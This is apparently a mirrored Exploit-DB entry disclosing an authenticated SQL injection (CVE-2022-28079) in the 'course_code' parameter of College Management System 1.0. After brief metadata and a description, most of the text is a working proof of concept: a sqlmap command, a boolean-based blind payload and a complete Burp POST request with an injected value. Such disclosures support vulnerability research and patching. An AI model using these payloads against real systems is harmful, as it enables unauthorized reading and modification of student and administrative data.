College Management System 1.0 – ‘course_code’ SQL Injection (Authenticated)

  • 作者: Eren Gozaydin
    日期: 2022-05-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50933/
  • # Exploit Title: College Management System - 'course_code' SQL Injection (Authenticated)
    # Date: 2022-24-03
    # Exploit Author: Eren Gozaydin
    # Vendor Homepage: https://code-projects.org/college-management-system-in-php-with-source-code/
    # Software Link: https://download.code-projects.org/details/1c3b87e5-f6a6-46dd-9b5f-19c39667866f
    # Version: 1.0
    # Tested on: Windows 10 Pro + PHP 8.0.11, Apache 2.4.51
    # CVE: CVE-2022-28079
    # References: https://nvd.nist.gov/vuln/detail/CVE-2022-28079
    
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    1. Description:
    ----------------------
    
    College Management System 1.0 allows SQL Injection via parameter 'course_code' in
    /College-Management-System/admin/asign-single-student-subjects.php. Exploiting this issue could allow an attacker to compromise
    the application, access or modify data, or exploit latent vulnerabilities
    in the underlying database.
    
    
    2. Proof of Concept:
    ----------------------
    
    In Burpsuite intercept the request from the affected page with
    'course_code' parameter and save it like poc.txt Then run SQLmap to extract the
    data from the database:
    
    sqlmap -r poc.txt --dbms=mysql
    
    
    3. Example payload:
    ----------------------
    
    boolean-based blind
    Payload: submit=Press&roll_no=3&course_code=-6093' OR 2121=2121 AND 'ddQQ'='ddQQ
    
    
    4. Burpsuite request:
    ----------------------
    
    POST /College-Management-System/admin/asign-single-student-subjects.php HTTP/1.1
    Host: localhost
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Encoding: gzip, deflate
    Accept-Language: en-us,en;q=0.5
    Cache-Control: no-cache
    Content-Length: 80
    Content-Type: application/x-www-form-urlencoded
    Cookie: PHPSESSID=jhnlvntmv8q4gtgsof9l1f1hhe
    Referer: http://localhost/College-Management-System/admin/asign-single-student-subjects.php
    User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
    
    submit=Press&roll_no=3&course_code=Select+Course%27+OR+1%3d1+OR+%27ns%27%3d%27ns